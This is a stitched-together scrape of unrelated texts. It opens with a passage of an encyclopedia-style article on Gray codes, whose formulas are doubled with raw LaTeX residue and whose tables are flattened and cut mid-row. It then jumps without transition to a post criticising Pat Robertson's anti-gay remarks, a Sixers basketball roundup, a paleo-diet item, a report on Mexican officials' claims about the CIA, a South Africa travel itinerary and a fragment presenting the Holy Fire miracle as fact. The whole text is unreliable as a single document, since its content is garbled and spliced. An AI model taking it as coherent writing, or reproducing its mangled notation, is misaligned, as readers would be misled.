We will now show a construction[30] and implementation[31] for well-balanced binary Gray codes which allows us to generate an n-digit balanced Gray code for every n. The main principle is to inductively construct an (n + 2)-digit Gray code G ′ {\displaystyle G'} given an n-digit Gray code G in such a way that the balanced property is preserved. To do this, we consider partitions of G = g 0, …, g 2 n − 1 {\displaystyle G=g_{0},\ldots,g_{2^{n}-1}} into an even number L of non-empty blocks of the form
{ g 0 }, { g 1, …, g k 2 }, { g k 2 + 1, …, g k 3 }, …, { g k L − 2 + 1, …, g − 2 }, { g − 1 } {\displaystyle \{g_{0}\},\{g_{1},\ldots,g_{k_{2}}\},\{g_{k_{2}+1},\ldots,g_{k_{3}}\},\ldots,\{g_{k_{L-2}+1},\ldots,g_{-2}\},\{g_{-1}\}}
where k 1 = 0, k L − 1 = − 2 {\displaystyle k_{1}=0,k_{L-1}=-2}, and k L = − 1 ( mod 2 n ) {\displaystyle k_{L}=-1{\pmod {2^{n}}}} ). This partition induces an ( n + 2 ) {\displaystyle (n+2)} -digit Gray code given by
00 g 0, {\displaystyle 00g_{0},} 00 g 1, …, 00 g k 2, 01 g k 2, …, 01 g 1, 11 g 1, …, 11 g k 2, {\displaystyle 00g_{1},\ldots,00g_{k_{2}},01g_{k_{2}},\ldots,01g_{1},11g_{1},\ldots,11g_{k_{2}},} 11 g k 2 + 1, …, 11 g k 3, 01 g k 3, …, 01 g k 2 + 1, 00 g k 2 + 1, …, 00 g k 3, …, {\displaystyle 11g_{k_{2}+1},\ldots,11g_{k_{3}},01g_{k_{3}},\ldots,01g_{k_{2}+1},00g_{k_{2}+1},\ldots,00g_{k_{3}},\ldots,} 00 g − 2, 00 g − 1, 10 g − 1, 10 g − 2, …, 10 g 0, 11 g 0, 11 g − 1, 01 g − 1, 01 g 0 {\displaystyle 00g_{-2},00g_{-1},10g_{-1},10g_{-2},\ldots,10g_{0},11g_{0},11g_{-1},01g_{-1},01g_{0}}
If we define the transition multiplicities m i = | { j : δ k j = i, 1 ≤ j ≤ L } | {\displaystyle m_{i}=|\{j:\delta _{k_{j}}=i,1\leq j\leq L\}|} to be the number of times the digit in position i changes between consecutive blocks in a partition, then for the (n + 2)-digit Gray code induced by this partition the transition spectrum λ i ′ {\displaystyle \lambda '_{i}} is
λ i ′ = { 4 λ i − 2 m i, if 0 ≤ i < n L, otherwise {\displaystyle \lambda '_{i}={\begin{cases}4\lambda _{i}-2m_{i},&{\text{if }}0\leq i<n\\L,&{\text{ otherwise }}\end{cases}}}
The delicate part of this construction is to find an adequate partitioning of a balanced n-digit Gray code such that the code induced by it remains balanced, but for this only the transition multiplicities matter; joining two consecutive blocks over a digit i {\displaystyle i} transition and splitting another block at another digit i {\displaystyle i} transition produces a different Gray code with exactly the same transition spectrum λ i ′ {\displaystyle \lambda '_{i}}, so one may for example[29] designate the first m i {\displaystyle m_{i}} transitions at digit i {\displaystyle i} as those that fall between two blocks. Uniform codes can be found when R ≡ 0 ( mod 4 ) {\displaystyle R\equiv 0{\pmod {4}}} and R n ≡ 0 ( mod n ) {\displaystyle R^{n}\equiv 0{\pmod {n}}}, and this construction can be extended to the R-ary case as well.[30]
Monotonic Gray codes [ edit ]
Monotonic codes are useful in the theory of interconnection networks, especially for minimizing dilation for linear arrays of processors.[32] If we define the weight of a binary string to be the number of 1s in the string, then although we clearly cannot have a Gray code with strictly increasing weight, we may want to approximate this by having the code run through two adjacent weights before reaching the next one.
We can formalize the concept of monotone Gray codes as follows: consider the partition of the hypercube Q n = ( V n, E n ) {\displaystyle Q_{n}=(V_{n},E_{n})} into levels of vertices that have equal weight, i.e.
V n ( i ) = { v ∈ V n : v has weight i } {\displaystyle V_{n}(i)=\{v\in V_{n}:v{\text{ has weight }}i\}}
for 0 ≤ i ≤ n {\displaystyle 0\leq i\leq n}. These levels satisfy | V n ( i ) | = ( n i ) {\displaystyle |V_{n}(i)|={\binom {n}{i}}}. Let Q n ( i ) {\displaystyle Q_{n}(i)} be the subgraph of Q n {\displaystyle Q_{n}} induced by V n ( i ) ∪ V n ( i + 1 ) {\displaystyle V_{n}(i)\cup V_{n}(i+1)}, and let E n ( i ) {\displaystyle E_{n}(i)} be the edges in Q n ( i ) {\displaystyle Q_{n}(i)}. A monotonic Gray code is then a Hamiltonian path in Q n {\displaystyle Q_{n}} such that whenever δ 1 ∈ E n ( i ) {\displaystyle \delta _{1}\in E_{n}(i)} comes before δ 2 ∈ E n ( j ) {\displaystyle \delta _{2}\in E_{n}(j)} in the path, then i ≤ j {\displaystyle i\leq j}.
An elegant construction of monotonic n-digit Gray codes for any n is based on the idea of recursively building subpaths P n, j {\displaystyle P_{n,j}} of length 2 ( n j ) {\displaystyle 2{\binom {n}{j}}} having edges in E n ( j ) {\displaystyle E_{n}(j)}.[32] We define P 1, 0 = ( 0, 1 ) {\displaystyle P_{1,0}=(0,1)}, P n, j = ∅ {\displaystyle P_{n,j}=\emptyset } whenever j < 0 {\displaystyle j<0} or j ≥ n {\displaystyle j\geq n}, and
P n + 1, j = 1 P n, j − 1 π n, 0 P n, j {\displaystyle P_{n+1,j}=1P_{n,j-1}^{\pi _{n}},0P_{n,j}}
otherwise. Here, π n {\displaystyle \pi _{n}} is a suitably defined permutation and P π {\displaystyle P^{\pi }} refers to the path P with its coordinates permuted by π {\displaystyle \pi }. These paths give rise to two monotonic n-digit Gray codes G n ( 1 ) {\displaystyle G_{n}^{(1)}} and G n ( 2 ) {\displaystyle G_{n}^{(2)}} given by
G n ( 1 ) = P n, 0 P n, 1 R P n, 2 P n, 3 R ⋯ and G n ( 2 ) = P n, 0 R P n, 1 P n, 2 R P n, 3 ⋯ {\displaystyle G_{n}^{(1)}=P_{n,0}P_{n,1}^{R}P_{n,2}P_{n,3}^{R}\cdots {\text{ and }}G_{n}^{(2)}=P_{n,0}^{R}P_{n,1}P_{n,2}^{R}P_{n,3}\cdots }
The choice of π n {\displaystyle \pi _{n}} which ensures that these codes are indeed Gray codes turns out to be π n = E − 1 ( π n − 1 2 ) {\displaystyle \pi _{n}=E^{-1}(\pi _{n-1}^{2})}. The first few values of P n, j {\displaystyle P_{n,j}} are shown in the table below.
Subpaths in the Savage–Winkler algorithm P n, j {\displaystyle P_{n,j}} j = 0 j = 1 j = 2 j = 3 n = 1 0, 1 n = 2 00, 01 10, 11 n = 3 000, 001 100, 110, 010, 011 101, 111 n = 4 0000, 0001 1000, 1100, 0100, 0110, 0010, 0011 1010, 1011, 1001, 1101, 0101, 0111 1110, 1111
These monotonic Gray codes can be efficiently implemented in such a way that each subsequent element can be generated in O(n) time. The algorithm is most easily described using coroutines.
Monotonic codes have an interesting connection to the Lovász conjecture, which states that every connected vertex-transitive graph contains a Hamiltonian path. The "middle-level" subgraph Q 2 n + 1 ( n ) {\displaystyle Q_{2n+1}(n)} is vertex-transitive (that is, its automorphism group is transitive, so that each vertex has the same "local environment"" and cannot be differentiated from the others, since we can relabel the coordinates as well as the binary digits to obtain an automorphism) and the problem of finding a Hamiltonian path in this subgraph is called the "middle-levels problem", which can provide insights into the more general conjecture. The question has been answered affirmatively for n ≤ 15 {\displaystyle n\leq 15}, and the preceding construction for monotonic codes ensures a Hamiltonian path of length at least 0.839N where N is the number of vertices in the middle-level subgraph.[33]
Beckett–Gray code [ edit ]
Another type of Gray code, the Beckett–Gray code, is named for Irish playwright Samuel Beckett, who was interested in symmetry. His play "Quad" features four actors and is divided into sixteen time periods. Each period ends with one of the four actors entering or leaving the stage. The play begins with an empty stage, and Beckett wanted each subset of actors to appear on stage exactly once.[34] Clearly the set of actors currently on stage can be represented by a 4-bit binary Gray code. Beckett, however, placed an additional restriction on the script: he wished the actors to enter and exit so that the actor who had been on stage the longest would always be the one to exit. The actors could then be represented by a first in, first out queue, so that (of the actors onstage) the actor being dequeued is always the one who was enqueued first.[34] Beckett was unable to find a Beckett–Gray code for his play, and indeed, an exhaustive listing of all possible sequences reveals that no such code exists for n = 4. It is known today that such codes do exist for n = 2, 5, 6, 7, and 8, and do not exist for n = 3 or 4. An example of an 8-bit Beckett–Gray code can be found in Donald Knuth's Art of Computer Programming.[11] According to Sawada and Wong, the search space for n = 6 can be explored in 15 hours, and more than 9,500 solutions for the case n = 7 have been found.[35]
Snake-in-the-box codes [ edit ]
Snake-in-the-box codes, or snakes, are the sequences of nodes of induced paths in an n-dimensional hypercube graph, and coil-in-the-box codes, or coils, are the sequences of nodes of induced cycles in a hypercube. Viewed as Gray codes, these sequences have the property of being able to detect any single-bit coding error. Codes of this type were first described by William H. Kautz in the late 1950s;[36] since then, there has been much research on finding the code with the largest possible number of codewords for a given hypercube dimension.
Single-track Gray code [ edit ]
Yet another kind of Gray code is the single-track Gray code (STGC) developed by Norman B. Spedding[37][not in citation given][38] and refined by Hiltgen, Paterson and Brandestini in "Single-track Gray codes" (1996).[39][40] The STGC is a cyclical list of P unique binary encodings of length n such that two consecutive words differ in exactly one position, and when the list is examined as a P × n matrix, each column is a cyclic shift of the first column.[41]
Single-track Gray code with 5 sensors.
Animated and color-coded version of the STGC rotor.
The name comes from their use with rotary encoders, where a number of tracks are being sensed by contacts, resulting for each in an output of 0 or 1. To reduce noise due to different contacts not switching at exactly the same moment in time, one preferably sets up the tracks so that the data output by the contacts are in Gray code. To get high angular accuracy, one needs lots of contacts; in order to achieve at least 1 degree accuracy, one needs at least 360 distinct positions per revolution, which requires a minimum of 9 bits of data, and thus the same number of contacts.
If all contacts are placed at the same angular position, then 9 tracks are needed to get a standard BRGC with at least 1 degree accuracy. However, if the manufacturer moves a contact to a different angular position (but at the same distance from the center shaft), then the corresponding "ring pattern" needs to be rotated the same angle to give the same output. If the most significant bit (the inner ring in Figure 1) is rotated enough, it exactly matches the next ring out. Since both rings are then identical, the inner ring can be cut out, and the sensor for that ring moved to the remaining, identical ring (but offset at that angle from the other sensor on that ring). Those two sensors on a single ring make a quadrature encoder. That reduces the number of tracks for a "1 degree resolution" angular encoder to 8 tracks. Reducing the number of tracks still further can't be done with BRGC.
For many years, Torsten Sillke[42] and other mathematicians believed that it was impossible to encode position on a single track such that consecutive positions differed at only a single sensor, except for the 2-sensor, 1-track quadrature encoder. So for applications where 8 tracks were too bulky, people used single-track incremental encoders (quadrature encoders) or 2-track "quadrature encoder + reference notch" encoders.
Norman B. Spedding, however, registered a patent in 1994 with several examples showing that it was possible.[37] Although it is not possible to distinguish 2n positions with n sensors on a single track, it is possible to distinguish close to that many. Etzion and Paterson conjecture that when n is itself a power of 2, n sensors can distinguish at most 2n − 2n positions and that for prime n the limit is 2n − 2 positions.[43] The authors went on to generate a 504 position single track code of length 9 which they believe is optimal. Since this number is larger than 28 = 256, more than 8 sensors are required by any code, although a BRGC could distinguish 512 positions with 9 sensors.
An STGC for P = 30 and n = 5 is reproduced here:
Single-track Gray code for 30 positions Angle Code Angle Code Angle Code Angle Code Angle Code 0° 10000 72° 01000 144° 00100 216° 00010 288° 00001 12° 10100 84° 01010 156° 00101 228° 10010 300° 01001 24° 11100 96° 01110 168° 00111 240° 10011 312° 11001 36° 11110 108° 01111 180° 10111 252° 11011 324° 11101 48° 11010 120° 01101 192° 10110 264° 01011 336° 10101 60° 11000 132° 01100 204° 00110 276° 00011 348° 10001
Each column is a cyclic shift of the first column, and from any row to the next row only one bit changes.[44] The single-track nature (like a code chain) is useful in the fabrication of these wheels (compared to BRGC), as only one track is needed, thus reducing their cost and size. The Gray code nature is useful (compared to chain codes, also called De Bruijn sequences), as only one sensor will change at any one time, so the uncertainty during a transition between two discrete states will only be plus or minus one unit of angular measurement the device is capable of resolving.[45]
Two-dimensional Gray code [ edit ]
A Gray-coded constellation diagram for rectangular 16- QAM
Two-dimensional Gray codes are used in communication to minimize the number of bit errors in quadrature amplitude modulation adjacent points in the constellation. In a typical encoding the horizontal and vertical adjacent constellation points differ by a single bit, and diagonal adjacent points differ by 2 bits.[46]
Gray isometry [ edit ]
The bijective mapping { 0 ↔ 00, 1 ↔ 01, 2 ↔ 11, 3 ↔ 10 } establishes an isometry between the metric space over the finite field Z 2 2 {\displaystyle \mathbb {Z} _{2}^{2}} with the metric given by the Hamming distance and the metric space over the finite ring Z 4 {\displaystyle \mathbb {Z} _{4}} (the usual modulo arithmetic) with the metric given by the Lee distance. The mapping is suitably extended to an isometry of the Hamming spaces Z 2 2 m {\displaystyle \mathbb {Z} _{2}^{2m}} and Z 4 m {\displaystyle \mathbb {Z} _{4}^{m}}. Its importance lies in establishing a correspondence between various "good" but not necessarily linear codes as Gray-map images in Z 2 2 {\displaystyle \mathbb {Z} _{2}^{2}} of ring-linear codes from Z 4 {\displaystyle \mathbb {Z} _{4}}.[47][48]
Related codes [ edit ]
There are a number of binary codes similar to Gray codes, including:
The following binary-coded decimal (BCD) codes are Gray code variants as well:
Decimal 0 1 2 3 4 5 6 7 8 9 Gray 4 3 2 1 0 0 0 0 0 0 0 1 0 0 1 1 0 0 1 0 0 1 1 0 0 1 1 1 0 1 0 1 0 1 0 0 1 1 0 0 1 1 0 1 Glixon 4 3 2 1 0 0 0 0 0 0 0 1 0 0 1 1 0 0 1 0 0 1 1 0 0 1 1 1 0 1 0 1 0 1 0 0 1 1 0 0 1 0 0 0 O'Brien I 4 3 2 1 0 0 0 |
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We will update the project FAQ below as you send in your questions.If you ever feel like your day lacks a certain amount of old-fashioned homophobia, look no further than Pat Robertson.
Founder of the Christian Broadcasting Network (CBN), Robertson regularly uses his talk show The 700 Club on CBN to espouse traditional Christian values. In practice, that means a regular dose of tired, well-trodden statements about gay people being offered as facts. This time around, Robertson is attacking marriage equality.
“They’ve said abortion is a constitutional right. Homosexuality is a constitutional right. They’ve now said that homosexual marriage is a constitutional right,” he said. “Watch what happens, love affairs between men and animals are going to be absolutely permitted. Polygamy, without question, is going to be permitted. And it will be called a right.”
Not to be outdone in showing a staggering degree of ignorance and bigotry, co-host Terry Meeuwsen chimed in by stating: “Relationships with children. There have been groups that have been trying to push that for a long time.”
“Well, they’re going to succeed now,” Robertson retorted. “The problem is, the people can’t move any longer. Their elected officials can’t make any decisions and consequently we are stuck with a fixed doctrine of five old men with black robes on the Supreme Court.”
Actually, Pat, there are nine justices — your objection is that three women and two men supported the right to same-sex marriage.Liberty Links: Dario Saric continues to ball out at Eurobasket Get it done, Dario.
Though it has been assumed for some time, the Sixers accounced training camp will officially start on September 26 on Thursday. That means we are exactly 18 days from actual, real life Sixers basketball going down in a little under three weeks. Thank the heavens.
But since we still have that time to kill here’s what you might need to get caught up on from yesterday...
Joel Embiid’s availability has nothing to do with his contract
As of September 7, Sixers personnel have also confirmed to Liberty Ballers that Embiid has yet to be cleared for five-on-five, but they maintain there is no concern from the team regarding his current availability or his progress toward getting ready for the regular season. Embiid continues to go through his recommended workout plan and medical procedures while gearing up for training camp, and one source even pointed out that Embiid was in the Sixers’ practice facility working out when this new report was made. The Sixers’ focus re: Embiid has been the same since he underwent the procedure and began rehab earlier this year: have him ready to go for the regular season, and have him as ready as he can be to play deep into the season at that. Team sources insist that continues to be the case, and that any concern to the contrary is unwarranted as of now.
Stay calm, everybody.
Lottery reform could be on the way—Woj
Commissioner Adam Silver is a strong advocate to de-incentivize tanking by implementing lower odds on the NBA's worst teams to gain the top picks in the draft, league sources said. The proposed measures would also increase the chances of better teams making a jump up into the draft lottery. The NBA's 14 non-playoff team compromise the league's annual draft lottery system.
As I expressed yesterday, I am perpetually confused by the league’s inability to settle on a belief system here. Pick something and stand by it, because the waffling is embarrassing.
A tale of two stories for the Sixers in Eurobasket
Furkan Korkmaz had a pretty forgettable game against Latvia, though part of the problem was simply a lack of minutes. The Turkish wing played just under eight minutes on Wednesday, failing to get on the scoreboard in his brief bit of action.
But The Homie had it all working on Thursday:
His flashy passing wasn’t necessarily at its pinnacle against the Czech Republic, but just about everything else was for Saric. He attacked the glass, kept the ball moving, and did all the little things en route to a blowout victory for his country. Sixers fans will take 18-10-3 on 5/11 shooting any day of the week.
The Cavaliers don’t really want to talk about Isaiah Thomas’ hip
I get that this is an unpleasant thing to talk about at an introductory press conference—especially after the team just dragged out your arrival—but man, how do you just push this to the side? This isn’t a team that just has time to waste! LeBron James could very realistically be moving on, and not having IT for any extended stretch of the season would loom large when the playoffs roll around, even if the Cavs still have the ultimate trump card.
O.J. Mayo, Banned and Forgotten, Fights to Save His NBA Career—Ben Golliver, Sports Illustrated
Mayo knows all the potential excuses and he chooses to reject them. Did he have too much, too soon in life? Sure, he admitted, his childhood and teen years were exceptional. “But if I had the same focused mindset I had at 15 and 16 later when I was 24 and 25,” he argued, “we wouldn’t be sitting here talking right now.” Could he have used a better father figure and more guidance? Mayo didn’t want to say that, repeatedly pointing out that his mother had “taught me right from wrong.” Did his friends, or fake friends, lead him astray? “I knew better,” he argued. “I knew guys in my neighborhood who should have made it somewhere but got stuck. I wasn’t raised like that.” Were the league’s drug rules unfair? “Every man writes his manner,” he said. “I just made poor decisions.”
I’m way late on this one, but I hope Mayo is able to get his act together, even if it’s not at an NBA level. It seems like just yesterday that his name was ringing bells in high school recruiting circles, and it’s a shame things have turned out this way.
Could the Grizzlies Be the Next NBA Team to Be Sold?—Haley O'Shaughnessy, The Ringer
When Pera was trying to buy the Grizzlies, the stock for his newly public tech company, Ubiquiti Networks, tanked from $34 a share to $9, according to ESPN. In an effort to fulfill his lifelong dream of owning a team (this is turning out to be a pretty common lifelong dream despite the exclusivity and price that come along with it), Pera recruited nearly 20 other minority owners to join him in the sale, including Justin Timberlake and Peyton Manning’s wife, Ashley. It weakened his share, but after paying the reported $45 million for 25 percent, Pera became, ever so technically, a majority owner.
Good info on another potential ownership change on the horizon. Here’s a friendly bit of advice: if the most you can afford of an NBA team is 25 percent, you probably shouldn’t strive to be a majority owner.
And one brief note of interest
The Sixers’ practice facility is (and will continue to be) open to the players whenever they feel inclined to use it, and yours truly may or may not have heard about a recent pickup game that took place in the gym. Without getting too hyperbolic about the details of the game, let’s just say the early reviews of Ben Simmons’ game are pretty excellent, and October can’t come soon enough.About Tony Fed Tony is the host of the Paleo Magazine Radio podcast, author of "Paleo Grilling: A Modern Caveman's Guide to Cooking with Fire", and Cofounder of Powerful PT, an innovative information resource for Fitness Professionals. He has appeared on numerous local and national television and radio broadcasts and regularly hosts healthy cooking workshops and informational lectures. He is also a full-time Personal Trainer and Wellness Consultant who lives in Jacksonville Florida with his wife Jamie.
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Jimmy Greninger, Head Ultimate Trainer at the first UFC Gym, Captain of the UFC Competition Team, and coach at Diablo Crossfit, recently issued a challenge to the former heavy-weight MMA king (or should I say "Emperor") Fedor Emelianenko In an interview with MMA Mania's Jesse Holland, Jimmy starts off with the following assessment:How does he propose to make these changes to the famously chubby Fedor? Simply put, "The Caveman Diet."On Jimmy's plan, Fedor would have to go "cold turkey" on grains, legumes, fried foods, sugar and dairy. He'd also restrict his starch intake and warn him that "his body will ache and crave for those simple carbs like a crack fiend." (Sorry Fedor, no more ice cream for you! Foods that would make the cut include: meat (buffalo, elk, venison, chicken, turkey and fish), free-range and Omega-3 enriched eggs, fresh veggies ("spinach, broccoli, asparagus, zucchini, squash, etc."), fruits, and raw nuts and seeds.And while he does say that Solid food is always better", Jimmy recommends some performance boosting supplements like Omega-3 fatty acids, Beta-Alanine, Glutamine and BCAA's because "we continue to evolve and science has come up with ways to get the nutrients back into your cells faster for better recovery and performance."From the looks of it, Jimmy has also partnered up with Bob Fritz, the creator of Muscle Milk and author of an upcoming book on the Paleo diet, so I'm sure we'll be hearing more from him in the future!The U.N. estimates that the U.S. narcotics market is worth about $60 billion annually. Flickr/Galería de ► Bee, like bees! A Mexican state government spokesman told Al Jazeera that the CIA and other international security forces "don't fight drug traffickers" as much as "try to manage the drug trade," Chris Arsenault reports.
"It's like pest control companies, they only control," Chihuahua spokesman Guillermo Terrazas Villanueva told Al Jazeera. "If you finish off the pests, you are out of a job. If they finish the drug business, they finish their jobs."
Chihuahua, one of Mexico's most violent states, borders on Texas.
Arsenault quickly notes that Villanueva is not a high ranking official and that the mayor of Juarez, Chihuahua, dismissed the accusations as "baloney."
Nevertheless, a government official going on the record with such claims is rare.
And a mid-level official with the Secretariat Gobernacion in Juarez (i.e. Mexico's equivalent to the U.S. Department of Homeland Security) told Al Jazeera the allegations were true based on discussions he's had with U.S. officials working in Juarez.
Arsenault highlights that the defense attorneys for Jesús Zambada Niebla - a leading trafficker from the Sinaloa cartel currently awaiting trial in Chicago - stated, as part of his defense, that "United States government agents aided the leaders of the Sinaloa Cartel."
Other high-level members of the Sinaloa cartel - Mexico's oldest trafficking organization - have made similar claims that Joaquin "El Chapo" Guzman, the Sinaloa cartel leader and one of the world's most wanted men, works closely with U.S. authorities.
Upwards of 55,000 people have died from drug-related violence in Mexico since 2006.South Africa is one of my top 3 favorite countries in the world. I truly believe that this country can be anyone’s favorite despite different preferences, as it can attract adventure seekers, luxury lovers as well as backpackers. When I moved to Cape Town in I had no idea what I wanted to see around the whole country.
I suggest visiting South Africa for at least a month, because you don’t want to be rushed or forced to skip some amazing activities on the way. However, if you don’t have that much time off I prepared different itineraries
Here’s what I propose for a 1 to a 2-week itinerary for South Africa, starting in Johannesburg and ending in Cape Town.
Ultimate South Africa Road Trip Itinerary 2019
This 2-week South Africa itinerary starts in Johannesburg and ends in Cape Town. It includes the most photogenic places in South Africa safari and wine route.
I recommend that you catch a domestic flight to Port Elizabeth pick up your rental car there. Alternatively, you can take an overnight bus from Johannesburg (I’ve done it and it’s perfectly safe).
Best cheapest domestic airlines in South Africa are Mango and Kulula. You can also use their national airlines South African Airways, but you’ll spend more.
IMPORTANT: Car rental reservation is a MUST in South Africa. I’ve made a mistake of not pre-booking my car two occasions and had to reschedule my plans as no cars were available, even during South African winter. RentalCars.com is a good website to find the best deals on different types of cars and providers.
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Safari in South Africa
Day 1-2: Johannesburg
Day 3-5: Kruger National Park (safari)
Day 6: back to Johannesburg
Week 1 Itinerary: Garden Route
Day 1: Port Elizabeth
Day 2: Jeffreys Bay
Day 3-4: Nature’s Valley
Day 5-6: Knysna / Plettenberg Bay
Day 7-8: Oudtshoorn
Week 2 Itinerary: Western Cape
Day 9: Route 62
Day 10-11: Stellenbosch
Day 12: Gaansbai & Simon’s Town
Day 13: Hermanus
Day 14-15: Cape Town
Kruger National Park Safari
Johannesburg & Pretoria
Fly into Johannesburg, as flights will probably be the cheapest to Tambo International Airport. As you might have heard ‘Joburg’ isn’t the safest place. I’d recommend renting a car at the airport if you’re planning on driving to Kruger.
Alternatively, you can take a domestic flight to Nelspruit and pick up your rental car there.
Best Things to Do in Johannesburg
Visit Pretoria – Pretoria might not be the most glamorous capital city in the world. But you can learn a lot about the history of South Africa before heading east for a safari.
The Apartheid Museum – To learn about the history of the city and country.
Market on Main – If you want to stuff your face with delicious food.
Accommodation in Johannesburg:
Hotel: Four Seasons Hotel The Westcliff
Guesthouse: Lucky Bean Guesthouse
Hostel: The Birches Backpacker Lodge
Kruger National Park
A trip to South Africa wouldn’t have been completed without a proper safari and what’s a better place to do it than Kruger National Park, one of Africa’s largest game reserves.
Kruger is larger than the whole country of the Netherlands, so you need to really plan your trip over there in advance.
As I mentioned in another article you should take a look at what animals interest you, calculate how much time do you want to spend in the park and remember not to make my mistake: book your accommodation in advance. Camps do fill up in advance, whether you’re booking a room or camping.
I suggest entering the park through Nelspruit or Crocodile Bridge and continuing your way up north inside the park, but the route is totally up to you.
Distance from Johannesburg Airport to Kruger National Park (Croc Bridge Entrance): 438 km
Duration: 4.5 – 5 hours
2 Weeks South Africa Itinerary: Part 1
Day 1: Port Elizabeth
Back in Pretoria, I’d recommend dropping the car off and hopping on a bus. South African buses are totally safe and comfy, so you don’t have to worry about anything. I’d actually say that the bus was way more comfortable than an American Greyhound.
You can extend your trip by going to Durban first, or head straight to Port Elizabeth to start your Garden Route exploration straight away.
From Johannesburg, you can either take an overnight bus to Port Elizabeth, or a short domestic flight. You could drive all the way from Johannesburg, but it would take you about 11 hours.
I don’t recommend it unless you’re planning on taking a short detour to Lesotho and spending a night there.
Things to Do in Port Elizabeth:
Addo Elephant Park – As the name indicates it’s a wildlife park with elephants, definitely worth a visit if you didn’t see enough of them at Kruger National Park.
Day 2: Jeffreys Bay
Jeffreys Bay is often a forgotten destination on the Garden Route. The small town of Jeffreys Bay is a nice base for 1 or 2 days to enjoy some sandboarding nearby or ride a horse on the beach.
Things to Do in Jeffreys Bay:
Sandboarding
Horseriding
Surfing
Distance from Port Elizabeth to Jeffreys Bay: 78 km
Duration: 45 min
Accommodation in Jeffrey’s Bay:
Hotel: Funky Town
Guesthouse: On the Beach Guesthouse & Apartments
Hostel: Island Vibe
Nature’s Valley / Tsitsikamma National Park
A lot of people skip Nature’s Valley when visiting the Garden Route. I’d say it’s a must-do stop and I actually spent at least one night in one of the tiny bungalows in the forest.
Nature Valley is also the spot to face adrenalin and hop off Bloukrans Bridge, the tallest bungy in the world (from the bridge). It’s terrifying and I probably wouldn’t bungee jump ever again, but to me, it was one of these once in a lifetime moments.
You also shouldn’t forget to pay the Monkey Sanctuary a visit. I loved walking around the forest full of monkeys, lemurs, and other birds and watch them being fed.
You can’t pet the monkeys as it’s a nature reserve and they want the monkeys not to be disturbed, which makes me respect this place even more.
Distance from Jeffreys Bay to Nature’s Valley: 138 km
Duration: 1.5 hour
Accommodation options in Nature Valley:
Hotel: Trogon House and Forest Spa
Hostel: Tsitsikamma Backpackers
Day 3-4: Knysna
Knysna and Plettenberg Bay are probably my favorite place on the Garden Route. Knysna has a great animal sanctuary with extremely jaw-dropping coastal vistas and offers many great restaurants and little cafes. I planned on staying there for just 1 night and didn’t want to leave even after 3 days.
Distance from Nature’s Valley to Knysna: 65 km
Duration: 55 min
Accommodation in Knysna:
Hotel: The Plettenberg Hotel
Hostel: Albergo for Backpackers (hammocks for everyone and free braai every night)
Day 7-8: Oudtshoorn
I spoke about Oudtshoorn before, as it’s my favorite little town in South Africa. The world’s capital of ostrich has a lot to offer. Starting from ostrich farms, caves and you can even swim with crocodiles there. I had a great time there, so don’t skip Oudtshoorn!
Distance from Knysna to Oudtshoorn: 120 km
Duration: 1.5 hour
Accommodation in Oudtshoorn:
Hotel: Riverside Lodge
Guesthouse: Surval Boutique Olive Estate
B&B: Oasis Shanti Backpackers (awesome parties and ostrich egg for breakfast)
2 Weeks South Africa Itinerary: Part 2
Day 9: Ladismith & Route 62
Ladismith is a hidden gem, as I haven’t heard about it anywhere and stumbled upon it by accident. Now I can share my secret with you. Together with my friend we wanted to drive down the Route 62 throughout the mountains all the way to Stellenbosch.
The road was almost completely empty as the majority of people choose to drive along the coast, so it makes the experience even more enjoyable. There were private game reserves on the way, lots of wineries and stunning mountains and as much as we enjoyed the view we also had to find a place to sleep.
Since we really wanted to stay at one of the wineries we randomly drove to Oaksrest Vineyard which turned out to be the best decision we took that day. For just 30 euros (I know, crazy!) we got to stay at a 5-bedroom house that had literally everything you can think of. Pool table, table tennis, board games, barbecue, literally everything you might need to have fun.
The guesthouse is run by an incredible family who gave us some wine, prepared a bbq for us and made our stay incredible. Do stay there if you’re in the area, as this place just couldn’t have been better!
Distance from Oudtshoorn to Ladismith: 110 km
Duration: 1.5 hour
Accommodation in Ladismith:
Guesthouse/villa: Oakrest Vineyards
Day 10-11: Stellenbosch
Right before you head to Cape Town stop at Stellenbosch for some wine tasting. This friendly student town is surrounded by many wineries.
I personally recommend my favorite wine available in just a few spots – Blanc de Noir. It’s a white wine that looks like a rose as it’s colored with red grapes’ skins. Yummy!
Distance from Ladismith to Stellenbosch: 110 km
Duration: 1.5 hour
Accommodation in Stellenbosch:
Hotel: Wild Mushroom Boutique Hotel
Guesthouse: Stables Lodge
Day 12: Gaansbai & Simon’s Town
I recommend taking a day trip to Simon’s Town to see a beach full of penguins! If you love wildlife as much as I do you’ll be the happiest person on earth with these little cuties running around you.
If you’re already in Simon’s Town you can also set an excursion to Gansbaai to face the adrenaline and dive with great white sharks.
Distance from Stellenbosch to Gaansbai: 140 km
Duration: 2 hours
Day 13: Hermanus
Hermanus can be easily reached on the way to Cape Town. The town got famous by whales as it’s a great spot for watching them. Funnily enough, when I was there I thought I saw no whales and took some photos of the shore just to discover that there was a whale behind me this whole time!
Distance from Gaansbai to Hermanus: 42 km
Duration: 30 min
Accommodation in Hermanus:
Hotel: Birkenhead House
Guesthouse: Whale Away Guest House
Day 14-15: Cape Town
When someone asks me what my favorite city is, I don’t hesitate much before saying it’s Cape Town. I’m glad I had a pleasure of living there for a while. Cape Town is simply amazing and offers so many things starting from parties, through farmers markets and finishing on nature. Don’t skip it on your South Africa itinerary.
Not to mention the food scene in Cape Town is unbelievable. You can spend every weekend scrolling around a different pop-up cafe or get an amazing champagne brunch at Old Biscuit Mill or any other market. Yum!
Distance from Hermanus to Cape Town: 120 km
Duration: 1.5 hours
Accommodation in Cape Town:
Hotel: Belmond Mount Nelson Hotel -the most iconic place in town, also known as the best place for afternoon tea.
Guesthouse: One Belvedere Guesthouse – I had a pleasure to live there long-term: by far one of the best places ever.
Hostel: HomeBase Hotel – right of the main party street, so excellent central location.
Arrange Your Travel Insurance
Don’t forget to arrange health insurance before heading to South Africa. The easiest and the most reliable travel insurance is World Nomads Travel Insurance. Get it before your trip to avoid unnecessary troubles that might ruin your holidays!
Suggested Additional Guide for South Africa:
Any questions about my South Africa itinerary? Let me know in the comments below. I’ll be happy to clear all your doubts.
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TwitterAccording to tradition, the Holy Fire ignites from the tomb of Jesus Christ at the Church of the Holy Sepulchre in Jerusalem. It has been descending on the church for more than 1,500 years and it is believed that the year when it fails to light will be the last year in humankind’s history.
In those first few moments after it descends, the fire is only slightly warm. Pilgrims can easily take it in their hands and wash their faces in it, without hurting either their hands or faces.
